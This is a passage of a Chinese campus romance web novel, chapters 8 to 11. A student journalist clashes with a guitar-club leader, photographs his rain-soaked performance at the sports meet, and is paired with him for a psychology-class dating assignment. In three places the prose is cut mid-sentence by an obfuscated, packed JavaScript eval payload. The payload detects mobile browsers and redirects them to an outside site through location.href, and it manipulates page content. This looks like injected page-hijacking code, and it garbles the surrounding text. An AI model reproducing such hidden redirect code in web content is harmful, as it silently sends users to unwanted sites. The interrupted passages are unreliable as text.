“有天赋的没几个，你要说没天赋的那可多了。”齐扬用手扶着额头，努力作回忆状，“有一个叫什么雯的，我实在不明白她为什么对这方面那么执着，唱歌不行还要学吉他.......” 宋之雯再也听不下去了，快步向他走了过去。 8. 第八章 对抗 齐扬看着风一样朝自己走过来的人，表情凝固住了，机械地扯了扯嘴角：“你......你都听到了？” 宋之雯在他面前站定，平复了一下呼吸，仰起头问道：“我能说几句吗？” “可以，你说吧。”齐扬做了一个“请”的手势。 “这个吉他社是不是交了社费和学费就可以加入了？” 齐扬点了一下头：“对。” “那交了学费的是不是都是你们的学生？请问所有的老师难道只教好学生，看见差的学生就都放弃了吗？” 韦峰上前一步安抚道：“当然，只要报了名的我们都会尽力教，你别激动妹妹，有话好好说。” 宋之雯摆了摆手，示意不需要安慰，眼神只盯着齐扬：“我知道你要求高，如果你觉得我们资质太差，那就设一个门槛，只有通过了考核的人才能加入社团。大家虽然弹得不是很好听，但也是爱好这方面，想要学一门乐器的，还牺牲了自己的午休时间。” 齐扬的眼睛里有一丝动容，正要说什么的时候被宋之雯打断了。 “有可能这一千块钱对你们来说没什么，甚至连保养乐器的钱都不够，但是对很多人来说这快抵得上一个月的生活费了，花出去也要考虑很久的。” 何瑜拍了拍她的肩膀：“其实我们学音乐的也没这么富的，这一千块对我们来说也不便宜。” “所以既然钱花出去了，就不能浪费，要发挥它的作用，就算我最后弹得不好，弹不出什么，我也要有始有终，不止这节课，我下节课，下下节课都会来的。” “我说完了。”宋之雯眨了眨眼睛，“请问我可以进去上课了吗？” 齐扬垂下了头，内心有点后悔刚刚说的话，身体朝她微微前倾了一下，挤了半天也只能挤出一句：“对不起。” 宋之雯没有理会他，径直走了过去，速度快到齐扬甚至来不及闪避。 下面整整一堂课宋之雯都没有说过一句话，只是埋头练琴，齐扬多次想找和她说话的机会都失败了，最后只能尴尬地找了个借口离开了。 舒青竹也发现宋之雯今天很不正常，因为她从上完吉他课回来之后就埋头记笔记，力道特别重，纸都要被她戳破了，就明白八成是谁又惹她了。 于是下午的课结束后她借口想换换口味，把人带到了学校的小吃街，才切入正题：“怎么了你这副表情？是不是齐扬又欺负你了？” 宋之雯咬咬牙：“一言难尽。”随后她平复了一下情绪，把齐扬和她说的话一五一十和舒青竹讲了。 舒青竹越听越上火：“我靠，他自己钱太多了是吧？当别人的钱是大风刮来的？他不想你学那这笔钱给你报销好了。” 宋之雯像找到了一个情绪的出口，接着她说：“就是，可能在他们眼里一千块钱和一块钱没什么区别。” “亏我之前还觉得他帅呢，现在滤镜全碎了。”舒青竹呸了一声，拉起宋之雯的手，“走，吃点东西消消气，别客气我请。” 学校的东门接近居民区，晚上居民吃完饭后便会三三两两地出来散步。周围的小商贩也抓住了商机，在这个时间摆了一长串的摊子，各家绘制的招牌如花朵一般争奇斗艳。叫卖声、人群的交谈声和食物的香味混杂在一起，给这条街带来了烟火气。 宋之雯挑来挑去挑了一家烤冷面的摊子。老板熟练地把雪白的面皮铺在铁板上，再打入一个鸡蛋抹上去两面翻转，最后再放上火腿、豆芽等配料切碎，色彩搭配得十分诱人。 “你看看齐扬像不像这烤冷面？脾气又冷又硬。”宋之雯指了指铁板对舒青竹说道，“就该把他放到火上好好烤烤。” 舒青竹笑倒在了她身上：“得嘞，待会儿我们一起把他消灭掉。” 远处的吴衡在人群中听到“齐扬”这两个字，敏感地回了头，却发现是熟人，于是轻轻地撞了一下旁边齐扬的肩膀：“哎，巧了。” 齐扬顺着他的目光望去，也愣了愣神。 “怎么？不过去打个招呼啊？”吴衡一脸幸灾乐祸地等着看好戏。 “不了。”齐扬摇摇头，“她们正在骂我呢，过去干什么。” “我说真的，还没有人对你这么说话过。”吴衡把一只手架在齐扬肩膀上，喝了一口可乐，“有点意思啊。” “你少埋汰我了。”齐扬朝他胸口打了一拳，“再说这事是我不对，就让她们先发泄一下消消气吧。” “哎，那你准备什么时候再正式地给人家道歉啊？” “等人家气消了再说吧，我找瑜姐想想办法。”齐扬一把揽过吴衡的肩膀，“走了，她们估计不是很想看见我们。” 宋之雯和舒青竹接过烤冷面，边走边吃，你一句我一句地吐槽着齐扬，把心里的话都倒出来之后，顿时觉得心情舒畅。 晚上回到宿舍后，宋之雯决定不去想这些糟心的事情了，打开电脑开始看林嘉和给她布置的任务。 这次的校运会听说有国家队的运动员要来开幕式，因此新媒体中心的全体成员都出动了。宋之雯的任务轻一点，负责第一天跟进比赛项目和写报道，林嘉和则负责近距离地拍摄开幕式和写推文。 秩序册和节目单也发到了宋之雯的电脑上，文学院的报名项目一如既往少得可怜，尤其是男女混合项目，连人都凑不齐。宋之雯放弃了自己推文里出现文学院的打算，转头浏览别的。在往下拉节目单的时候，她发现上面赫然列着晨星乐队的名字，表演的曲目是《逆光》。 实在无法想象这样一个摇滚的乐队，表演这么励志的歌曲会是什么样的，和他们的风格完全不搭。 就在这时林嘉和发来一条信息：“虽然开幕式主要是我负责，但你也可以跟着看看，借项婉的相机练一练。” “各个节目都要拍吗？”宋之雯问。 “也不一定，但主席台上的领导嘉宾尽量拍得好看点。” “我一定多拍几张。”宋之雯回他，过了一会儿还是忍不住打出了自己想问的问题，“晨星乐队现在在学校这么火了吗？都来开幕式表演了？” “他们从去年开始就在学校开幕式表演了，当然这次为了配合主题改了风格。”林嘉和回道，“嘉宾这边我都对接好了，你只要现场帮帮忙就行。” “部长有什么要帮忙的尽管说。”宋之雯放下手机，心里却有点忐忑，没想到这么快就又要和齐扬碰面了，她不知道该怎么办。 往年的运动会为了撑场面，都是随机抓取每个学院的新生当看台观众，不仅风吹日晒还要点名，因此怨声一片。但今年的节目单一出，不用辅导员打招呼，大家自己就来抢名额了，很快就一抢而空。 运动会的当天下了点小雨，气温降了下来。宋之雯跟着林嘉和早早地到会场布置，尽管穿了件冲锋衣，冷风还是无孔不入地钻进脖子，直让人打颤。 “项婉，相机给我一下。”林嘉和接过相机给宋之雯演示起来，“一般你就调自动挡就好了，它会给你自动设置曝光的，然后对焦对牢按一下就好了。你也要熟悉拍照，以防万一，这是新闻人必备的技能。” 宋之雯受用地点头，拿着相机自己试着拍了几张。 “行了，你们就在棚下坐着吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491331|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”林嘉和对着她们笑了笑，“我要去接嘉宾了。” 陆陆续续地有人进场在观众席上坐定。这时人群中突然爆发出一阵欢呼，宋之雯认出了这是刚刚赢得世界冠军的羽毛球手林兆宇，人也非常年轻，才从体育大学毕业。他身形瘦长，剪着学生一样的刘海，很亲民地和大家打着招呼，在主席台上坐下了。 “我们学校还真不赖，一来就来个大的。”项婉在她耳边悄悄说道。 宋之雯连连赞同。 过了一会儿校长上台，开始为开幕式致辞，宋之雯和项婉互相使了个眼色，溜到了主席台底下的一个角落里开始拍。校长致辞完了之后就由林兆宇致辞，不得不说冠军就是冠军，从自己从小学习羽毛球的经历到体育精神再到做人的道理，条理清晰，声音也不紧不慢的，丝毫不怯场。 致辞完毕后就是表演环节，宋之雯已经远远地看见有工作人员扛着乐器上台，紧随其后的就是晨星乐队的成员们。齐扬走在最前面，他今天穿了件灰色的运动卫衣，上面印了象征球星科比的数字23，底下配了条做旧的破洞牛仔裤，裤子上面用来装饰的细细的银链子正在放荡不羁地晃荡。 台上的观众看清了是谁之后，尖叫声到了最高点，比冠军出场的时候还热烈。 齐扬拿起话筒，先笑了一下，示意大家安静：“今天我们晨星乐队在开幕式上为大家带来一首与以往的风格都不同的《逆光》，送给所有拼搏的运动员们。” 他点头示意韦峰，在两下鼓点之后，贝斯和键盘声彼此很有默契地响起。 也许我一直害怕有答案 也许爱静静在风里打转 离开释怀很短暂又重来 有时候自问自答 他的声音很低沉，但不同于唱摇滚时的那份张扬，更多了一点温柔，好像坐在你面前，把他的故事娓娓道来。 我不要困难把我们挤散 我责备自己那么不勇敢 遗憾没有到达 拥抱过还是害怕 用力推开你我依然留下 他刚开始唱的时候天空中飘的还是小雨，但随着时间的推移，雨势越来越大，沙啦沙啦地打在跑道和草丛上。齐扬的头发都被雨水浸湿成一绺一绺的，水珠顺着他那棱角分明的脸滑了下来。他伸手抹了一把脸上的雨水，随意地一甩，此时贝斯和键盘的节奏骤然加快，音调逐渐上扬，到了最高点迎来了鼓点的一声爆发。齐扬一开口，完美地与伴奏接上了。 有一束光那瞬间 是什么痛得刺眼 你的视线是谅解 为什么舍不得熄灭 我逆着光却看见 那是泪光那力量 我不想再去抵挡 面对希望逆着光 感觉爱存在的地方 一直就在我身旁 不同于原版女声的温柔坚定，齐扬的版本更多了一份少年的意气纷发，有无论遇到任何困难都横冲直撞的勇气。看台上的观众原先还七七八八地拿着伞挡雨，看到这里热情也都被点燃了，索性丢掉了手中的伞，站起来和他一起合唱。 齐扬伸出手，用力地甩动着，伴随着观众的呐喊声，一下一下地踩在节奏上。 我以为我能后退反复证明 这份爱有多不对 背对着你如此漆黑 忍住疲惫 睁开眼打开窗才发现你就是光芒 光芒你是光芒 雨如同一张巨大的帷幕，把少年围在了舞台中央，面对四面而来的风，少年张开手臂，露出了一个灿烂的笑容。 9. 第九章 光芒 “我靠，简直封神了。”一向冷静的项婉此时也坐不住了，“我要拍下来。”她话还没说完就拿着相机咔嚓咔嚓地按了好几张，相机按完了又换手机拍。 雨依然还在下，齐扬的衣服都被淋湿了，他留有余味地唱完最后一个音符，深深鞠了一躬：“谢谢大家，也要感谢我们晨星乐队的贝斯手吴衡，键盘手何瑜和鼓手韦峰。 观众席安静了只有一秒钟，随后爆发出一阵排山倒海的掌声，连羽毛球冠军都在拼命鼓掌。 齐扬就在万众瞩目下离场，留下久久回味不过来的观众。 因为雨势开幕式暂停了一会儿，等雨小了才继续表演并让各个学院的代表队入场。只是大家在看了这么一场高水平的表演之后对后面的内容都没有兴趣了。 终于在代表队入场完毕后，校长宣布运动会开幕，冠军和各个领导陆续离开，裁判员将发令台推到了跑道末端并拉起了警戒线，比赛就这么正式开始了。 下过雨的跑道还有点潮湿，冷风裹挟着湿气从四面八方吹来，无孔不入地钻进人的皮肤。宋之雯冻得牙齿直打颤，忍不住紧了紧身上的冲锋衣，有点心疼正在检录处，只穿了薄薄的短袖短裤的运动员们。 第一个项目是女子1500米，发令枪一响，运动员们便冒着寒风冲了出去，咬着牙，脸上绷得紧紧的。 “你看。”项婉戳了戳宋之雯，把手机递给她看，“今天学校表白墙除了世界冠军讨论得最多的就是齐扬了。” 宋之雯歪着头看了一眼，底下的跟帖无疑就是齐扬好帅有没有联系方式之类的，倒是有几张很不错的照片，其中一张少年站在雨里，仰着头迎接雨水，那微笑好像灰暗世界里的阳光，把天空都照亮了。 “怎么样？我拍的。”项婉有点得意地向她炫耀着。 宋之雯心中一动：“你的相机能借我一下吗？怎么拍的？” “现在光线比较暗，你把光圈设置得大一点，然后看指标在正中央没有过曝就可以对焦了。”项婉指导着她。 宋之雯拿着相机对着跑道拍了几张，突然感觉有谁挡住了自己的视线，拿下相机一看，眼前出现的是齐扬的脸。 宋之雯吓得连手中的相机都差点扔了：“你怎么在这儿？” 齐扬已经换了衣服，从头到脚一身黑裹住了自己，神色淡然地拿起一个塑料袋塞到她手里：“呐，瑜姐看你冷，给你的关爱。顺便给你旁边的女生也带了一杯。” 宋之雯往里面看了一下，是两杯热奶茶：“谢谢。” “还有。”他有些别扭地动了动嘴唇，“上次件事情我真的没有恶意，看你生气没来得及和你道歉，今天再正式地和你道歉一下，对不起，我说的那些话你就忘了吧，别往心里去。” 宋之雯似乎明白了什么，露出了一个意味深长的笑容：“那我以后可以常来吉他社吗？” “随便你，想来就来。”齐扬的目光逐渐往下，落到了她手上的相机上，笑得有些顽劣，“刚刚不是偷拍我吗？拍得怎么样了？给我看看。” 宋之雯赶忙把相机藏在身后，仰起脸对着他，满不在乎地说道：“拍照技术不行，拍糊了。” “是吗？那太可惜了，没拍到我这张帅脸。”齐扬摇头叹息，准备走的时候，操场上忽然响起了一阵歌声，让他停住了脚步。 Thatalltheraincloudsarefountains 虽然此时乌云密布 Thoughourtroublesseemlikemountians 虽然有暂时无法逾越的坎坷 There’sgoldinthemhills 但是阳光总在乌云后 说来也巧，就在这首歌响起的时候，天空中的一丝丝乌云散开，漏下来一缕阳光，正照在跑1500的选手身上，此时已经进入了最后的300米冲刺阶段。配合着温柔而坚定有力的男声，观众也从中获得了力量，为运动员呐喊加油。 “这首歌不错。”齐扬望着广播的方向细细聆听着，“你知道是什么歌吗？” “《Goldinthemhills》。”宋之雯没有一点犹豫就答出来了，“当时广播站向我们新闻中心的成员征集运动会的歌单，我就选了几首报了上去。” “眼光不错。”齐扬朝她抬了抬下巴，有肯定的意味。 宋之雯看项婉已经拿了器材冲了出去，匆忙和齐扬道了个别：“比赛结束了，我要去采访了，先走了。” “嗯，去吧。”齐扬笑了，也转身离开。 宋之雯气喘吁吁地跑到项婉身边，把相机还给了她：“不好意思啊，来晚了。” 获得女子1500米第一名的是一个南美的留学生，在终点喘了一会气之后就开始庆祝。她整个人是那种结实的身材，小麦色皮肤，流畅的肌肉线条，笑起来露出一排洁白的贝壳一般的牙齿。 宋之雯走了过去，试着用英文和她打了招呼，没想到她用流利的中文说道：“没事，我会说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491332|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中文，你问吧。” “好的。”宋之雯还是拿出了专业的态度来，“请问这次获得1500米的冠军也是这次运动会的首金有什么感受？” “当然是开心啊，太开心了。”她脸上的笑容更甚了。 “你是第几次参加运动会了？” “第一次，我大一。” “恭喜你啊，第一次参加运动会就拿了第一，为这次运动会做了什么准备没有？” “没有。”她很诚实地摇头，“就是每天晚上乱跑。” 宋之雯突然深刻地领会了“凡尔赛”这个词的意思，只好硬着头皮圆：“看得出你在跑步这方面非常有天赋，也期待你后面获得更多的荣誉，对着我们的镜头拍几张好看的照片好吗？” 留学生妹妹倒是一点都不怕生，对着项婉的镜头比了好几次耶，还不断地变换拍照姿势。 “谢谢你的配合。”宋之雯对她笑了笑，正要走时被她拉住了，“刚刚那个男生，你有他微信吗？” 宋之雯被雷得外焦里嫩，摇了摇头：“没有，我和他也不熟。” 她说的是实话，吉他社中她只有两个人的微信，何瑜和韦峰。倒是之前有女生问何瑜要过齐扬的微信，但齐扬全部没通过，而且自从上次那事之后，她觉得更没必要加了。 “是吗？那太可惜了，他很eous（高贵的）。”留学生妹妹无奈地笑笑，然后迈着轻快的步伐走了。 项婉有些奇怪地指了指地上的奶茶：“你说你们不熟，那这是什么？” 宋之雯递给了项婉一杯，开始胡编乱造：“真不熟，他看我们在旁边采访很辛苦还要吹着冷风送给我们喝的。” “是吗？”项婉一边插吸管一边将信将疑地说道，“那他人还怪好的嘞。” 奶茶还留着点余热，宋之雯把它握在手心里，暖意透过指尖一直传遍全身，让原本冻麻木的身体好转了些。 宋之雯回到了原来的位置上，朝项婉伸出了手：“相机里的照片能借我看看吗？” “你看吧。”项婉也没多想就递给了她。 宋之雯一张张地翻看着，前面几张还是正常的她拍摄的运动员的身影，翻到后一张她的手顿了顿。 只见少年略微低着头，提着袋子，走路带起一阵风，就这么明晃晃地闯进了她的视线，而且好巧不巧对焦刚好对在他身上，周围的背景都虚化成了一片。 宋之雯拍了拍项婉：“你这些照片什么时候拷出来？也发给我一份吧。” 10. 第十章 配对 项婉收回相机，低着头想了一想：“要不等今天全部拍完了，我晚上整理出来发给你吧。” “行，到时候我再选好看的加进我的报道里。”宋之雯打开电脑开始工作。 一天下来，宋之雯跟了百米、跳远、铅球、标枪等多项比赛，从一开始还能和选手聊几句到最后累得话都说不出来，她不得不感慨新闻真是个体力活。 回到宿舍后她依旧没有休息，不停地在对自己的报道删删改改。 舒青竹都看不下去了：“你差不多得了。” “不行。”宋之雯摇头，“这可是要放到学校微信公众号上的，写我的名字，万一不好哪天被人翻出来不成黑历史了？” “唉，那你慢慢改。”舒青竹叉了一块蘑菇塞给宋之雯，回头自己继续对付烧烤去了。 宋之雯正在对语言进行润色的时候，消息的页面跳了跳，是项婉发了一个压缩包过来。她刚好要选几张图片插入报道里，便下载下来仔细挑了起来。 不得不说项婉拍图有点水平，对焦清晰，构图的比例合理，每一张图片都有自己的内容和故事感。宋之雯看来看去哪张都割舍不下，过了很久才肉痛地选出五六张。 鼠标自动跳转到下一页，从这一页开始就都是开幕式的照片了，宋之雯看到齐扬的脸出现在了屏幕上。 “选照片呢？”宋之雯回头，舒青竹已经不知道什么时候站在后面，把手搭在椅背上看着她。 宋之雯不满地回了她一句：“你吓死我了。” “我就说嘛，你们这工作肯定能看到帅哥。”舒青竹凑近了点，“让我看看。” 听到了这话的杨灵钟小欢也围了过来，于是就变成了四个人对着照片评头论足。 “这张帅。” “这张角度不对，没有拍出美貌。” “这张还行，一般般吧，无功无过。” 翻到雨里的那张照片时，三个人同时“哇”了一下：“这张帅死了，必须留下。” 照片的背景被虚化模糊成了一片，只有齐扬的脸是清晰的。他就这么闭着眼，迎接着雨，雨水沾湿了他的头发，顺着他精致的脸庞流下，滴落进脖子里，胸口被打湿，隐隐勾勒出里面的轮廓，给整个人增添了一□□惑。 宋之雯不为所动，继续点到下一张，听见她们发出了不一样的声音：“欸，这张和那张风格明显不同，但是也好看。” 宋之雯仔细一看，眼前的少年离镜头很近，低着头，只露出下颚，嘴角却带着笑意，虽然有一点对焦没对准，却意外增加了一丝朦胧的氛围感。这不是自己拍糊的那张吗？ 她的唇角弯了弯：“是吗？我觉得一般般。” “你什么眼光！”舒青竹拍了她一下，“这张和那张，必须留下。” 然而宋之雯没有理会她们，无情地翻过去了。 等所有的照片都选完，三人都各自散开之后，宋之雯才重新回到之前的界面，仔细欣赏起自己拍的那张照片来。别说虽然技术差一点，但加上齐扬那张自带故事感的脸，硬是把这张照片上了一个档次。 她想了一会儿，还是把这张照片存到了自己的相册里。 等宋之雯把新闻和照片弄好之后已经十一点了，但她还是打包发给了林嘉和，毕竟这是自己的第一个正式任务，态度还是要端正的。 没想到林嘉和还没睡，过了一会儿就回她：“新闻稿写得很不错，比上次有进步，但有时也可以不用那么严肃。” “可是这不是官方的推文，需要正式一点吗？”宋之雯回了一句。 “如果官方一直是这样的话，会让人有距离感，况且还有很多读高中的弟弟妹妹看我们的公众号呢，对录取率也会有影响。”林嘉和笑了，接着回她，“所以有时候语气适当地活泼点，让人感觉亲切点也没坏处，你写的是运动员又不是领导讲话。” “不过......”林嘉和又补了一句，“你那句‘随着《Goldeninthehill》的音乐响起，连绵的小雨也逐渐停止，头顶上的阴霾散开，阳光照射了下来。正如长跑的征途充满了艰辛与汗水，但你只要一直往前，总会拨开云雾，看见希望。’很不错，留下来吧。” “那我现在再改改？”宋之雯准备去开电脑。 “不用，这个稿子不着急的，你早点休息吧，明天再改。”林嘉和安慰她。 果然林嘉和总是那么会照顾人，宋之雯给他发过去一个笑脸：“谢谢部长。” 第二天宋之雯起了个大早，把稿子改好给林嘉和发过去，随后就去值班了。开幕式的推送一出广受好评，尤其是项婉拍的那张雨中的照片收获了最多的评论和存图，相比之下宋之雯写的运动会流量就差了不少。 不过宋之雯不在乎，这三天虽然累但是过得无比充实，让她知道了自己的专业也有用得上的地方，并且做新闻也没有想象中的难。 热热闹闹的运动会落下了帷幕，周一一大早上课，老刘就带来了一个坏消息，下堂课现代汉语要进行期中测验。 他的话音刚落，舒青竹就举起了手：“老师，我们都大学了，还有期中测验啊？我听说别的科目都没有。” 老刘瞪了她一眼：“我教现代汉语十多年了，一直是这样的。我跟你说现代汉语是中文专业的基础，不要到了大学就不看重成绩放开玩了，你去问问学理科的同学他们的期中考试科目比你少吗？” 被老刘这么一通输出，舒青竹立刻跟霜打的茄子一样蔫了。 又有人小心翼翼地问：“那有重点和考试范围吗？” 老刘无情地说道：“没有，并且我提前告诉你们都是运用的题目，死背没有用的。” “啊——”教室里顿时哀嚎声一片。 下了课之后舒青竹一反常态，拉着宋之雯去了图书馆，开始狂翻书和补笔记。宋之雯也从图书馆借了现代汉语的练习册，开始了高中时候的题海战术。两人一直学到图书馆的闭馆铃声响了以后才出来。 回到寝室是钟小欢替她们开了门：“你们去图书馆学习了？” 宋之雯点点头。 “刚好我有道题想问你们，这个层次分析怎么弄啊？我上课一点没听都睡觉了。”钟小欢拿着空白的书一脸尴尬。 “我教你吧。”宋之雯拿了一支笔开始在上面圈画，“一般短语都是主谓结构，你先把主语谓语分离出来，然后看看这个谓语的性质，动词加宾语就是动宾，如果说有修饰这个词的就是定语和中心语。” “明白了。”钟小欢点点头，然后求助地看向她，“你的笔记能借我看一下吗？” “可以的，你拿去吧。”宋之雯把自己的笔记递给了她。 “谢谢啊。”钟小欢感激地笑笑。 在经历了两天没日没夜的复习之后，到了周三大家都有一种要上战场的决绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491333|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在这次测验只占20%，老刘还是手下留情了，题目出得很常规，只要听过课稍微想一想都能做出来。 交完卷子后宋之雯才发现，不知不觉半学期已经过去了，前半学期的课程有些已经结业，后面又要开始新的忙碌。 她回去查了一下后半学期的课表，然后惊喜地叫了出来：“我选上号称全校最难选的大学生恋爱心理了。” 舒青竹望眼欲穿地看着她的电脑屏幕：“可恶啊，我被踢了。听说那门课很水的，给分还高，你加油没准还能找个男人回来。” “省省吧，听说都是谁坐得近就配谁，乱点鸳鸯谱。”宋之雯拍了拍她。 开课的那天宋之雯到得还算早，然而她发现从后排开始已经全部被占满了，只能随便选了一个前面靠窗的位置坐下。 教他们的老师大概四十左右，一袭棕色的长裙，黑色的长发披落在肩上，虽然眼角已经有了皱纹，却可以窥见年轻时的美貌。 老师正在柔声地强调注意事项的时候，一阵急促的敲门声响起，紧接着门被推开，宋之雯听到了一个熟悉的声音：“对不起老师，我迟到了。” 他的话音刚落，底下立刻响起了“哇”的一声，因为他们都没想到在这里还能看见齐扬。他的脸因为跑动微微发红，额头上粘着汗珠，头发被风吹起显得有些狼狈。后面还跟着吴衡，调皮地朝老师行了个绅士礼表示抱歉。 老师笑了：“迟到的同学随便找个位置坐吧，既然这样，我再重新讲一遍......” 齐扬想都没想，直接朝宋之雯这边走了过来，在她身边坐下，随后吴衡也落座。宋之雯仔细观察了一下四周，也是，周围的位置差不多都满了，况且阶梯教室靠窗刚好三个座位，能坐下他们三个。 “你不是大三了吗？怎么还要上这个选修课？”宋之雯压低了声音问道。 齐扬恶狠狠地剐了吴衡一眼：“还不是他偷偷修改了我的课表。” “我这不是担心你的个人问题嘛，俗话说的好，旧的不去新的不来。”突然吴衡意识到了什么，惊恐地捂住了嘴巴。 宋之雯还没来得及纠结“旧的不去新的不来”是什么意思的时候，就被齐扬堵回去了：“你从大一开始就打光棍了，还好意思说我。” 吴衡乖乖地闭嘴不说话了。 老师友好地看了他们说小话的几个人一眼，接着说下去：“相信大家也听说了我这门课的传统吧。我会把班上的男女同学随机配对，然后每一对各有一位观察员，在这两个月里你们要完成各种各样的任务，最后一节课把自己的感悟分享一下。不过大家也不要太有压力，主要是学习怎么和异性相处，成不成都没关系。” 底下的男女同学都互相对视了一眼，有点不好意思地笑笑。 “那我就按照我的想法配对了啊，如果有想换的可以自行更换。”老师走下讲台，指了指几个人，示意他们坐到一块，这期间也有主动提出要自己寻找搭子的，老师都一一答应了。 走到宋之雯面前的时候，老师一脸惊喜：“刚好嘛，你和他一对，然后旁边的男孩担任观察员。” 宋之雯震惊地看了齐扬一眼，觉得自己需要一会儿来消化这个事实。 “怎么？你不愿意啊？”老师皱了皱眉，又指了指齐扬和吴衡，“总不能他们两个一对，你当观察员吧？” 宋之雯小声附和了一下：“也不是不行。” 11. 第十一章 约会 这句话一出，教室里发出了一阵惊天动地的爆笑，只有齐扬的脸色难看极了。 老师也笑出了眼泪：“妹妹，你真的很幽默。” “喂，我说你到底愿不愿意啊，不愿意算了。”齐扬抬了抬下巴，“老师还等着呢。” 宋之雯缓缓吐出一个字：“行。” “那就这么定了。”老师欢快地往后面去继续她的媒人事业了。 宋之雯趴了下来，感觉全班女生犀利的目光都集中在了她身上。 课间休息的时候，一个娇小的身影跨过台阶跑了上来，原来是尹心悦，她冲齐扬甜甜地笑了一下：“社长好，这么巧还能和你上同一节选修课。” 齐扬点点头表示回应：“嗯，因为选修学分还差一个。” 宋之雯以为她只是单纯来叙旧的，便低头玩着手机，谁知尹心悦却走到了她的面前：“你好，能和你商量个事吗？” 宋之雯抬头：“什么事？” “刚刚组队我看你好像不是很愿意的样子，所以想我能不能和你换一下？” 宋之雯唇角勾起，眼神带了一丝玩味：“我记得我好像没说过‘我不愿意’这几个字吧？” “啊？是哦。”尹心悦努力回忆了一下，“那你刚刚的表情为什么那样？” “我是怕社长介意，不过后来想了想只是组队，又不是真要怎样，说不定有了他的帮助还更容易完成报告呢。” “是啊，老师都已经分好了就别再麻烦她了。”齐扬扫了尹心悦一眼，“你也别有压力，又没强迫你和搭档谈。” “好吧，那就不换了。”尹心悦的脸上闪过一丝失望，随后又转向齐扬，“我最近在演唱上碰到了一点问题，能请教一下吗？” “你先把你录的demo发我，我要仔细听了才知道，这东西一时半会儿讲不清楚。” “行，我现在发你，你等空了回复我就行。”尹心悦磨蹭了一会儿，看实在没有什么可说的才不情愿地回去了。 吴衡“啧”了一声：“看得出来很多女生都想和你组队啊。” “现在这个组合不正如你所愿吗？”齐扬嘴角上扬，拍了拍他的肩膀，“好好观察吧。” “那我可要仔细观察了。”吴衡撑起头看着两个人。 老师已经走了上来，宣布继续上课：“我知道这里的大部分同学都是刚进入大学，对爱情有着憧憬，那么你们喜欢的男女生有什么特质呢？我想请一些同学上黑板写一写。” 一开始大家都有点扭捏，后来一个女生自告奋勇，在男生那一栏潇洒地写下了“帅气”两个大字，惹得大家大笑。陆陆续续就有人上来，男生的特质无非就是“有钱”“爱干净”“体贴”，女生的特质无非就是“漂亮”“温柔”等词。 “好，那接下来再写一写你最不喜欢的男女生的特质。” 这回更加热闹了，有更多的人涌了上来在黑板上写，并且用的词语更具象，数量也远远多过了之前。 老师看着满满一黑板的字笑了：“谢谢这些同学们，我们可以看到我们对伴侣有很多的想象，很多同学也渴望建立一种亲密关系，那我们就来看看什么是亲密关系。” 老师把ppt翻到下一页，开始讲理论的内容，她的声音非常温和，好像不是硬把知识塞给你，而是作为一个知心姐姐和你聊天，让人不由自主地想听下去。 “如何确定对方就是你想要的伴侣呢？心理学家亚瑟·艾伦设计了36个问题，他用了很多陌生男女做实验，发现在回答完这36个问题之后，他们有了不同程度的好感。” 看着底下同学惊讶的表情，老师得意地笑了一下：“那我们就来看看这36个问题是什么，今天课下的任务就是和你的搭档完成一次约会并问出这36个问题，下周把结果来交流一下，好，下课吧。” 宋之雯开始收拾东西的时候，感觉到齐扬碰了她一下：“唉，你周末有空吗？” “怎么了？” “要不要去公园划船？” 宋之雯想了想，答应了下来：“好啊。” 很快到了周末，舒青竹问宋之雯要不要一起去看个电影，宋之雯摇摇头：“我有约了。” “哦？有情况啊，什么时候的事？”舒青竹贼兮兮地看着她。 “你想多了，心理课的作业。”宋之雯推了她一下，完了又补充一句，“和齐扬。” “哦对对对，我听我们同学说了。”舒青竹露出恍然大悟的神情，“你加油啊，争取早日拿下。” 为了表示对第一次约会的重视，宋之雯翻出了自己压箱底的一条格子背心裙，搭配白色毛衣，再化了个淡妆之后才出门。 今天的天气很舒服，阳光洒落下来，让地面上的景物都包裹了一层暖意，就连平时觉得有些寒意的秋风，此时也只是轻柔地抚摸你的脸颊。 宋之雯一到公园门口，就看到一个穿着黑色风衣的高大的身影在等着了，他双手插兜，昂着头，一副酷拽的样子。 “齐扬。”宋之雯喊了他一声。 齐扬回过头来，上下打量了一番之后走到她身边：“不错嘛，学院风，” “对了。”宋之雯忽然想到一个问题，“吴衡今天怎么没来。” “那小子啊......”齐扬装作不经意地回答，“我把他赶走了。” “为什么？” “我和他说在社团那么多时间，什么时候不能观察？” 看宋之雯愣了一下，齐扬又转身回来等她：“走吧，去划船，你要电动的还是脚踩的？” 宋之雯想了一想：“脚踩的吧，36个问题我已经准备好了，可以慢慢聊。” 齐扬哑然失笑：“那你可要想好了。” 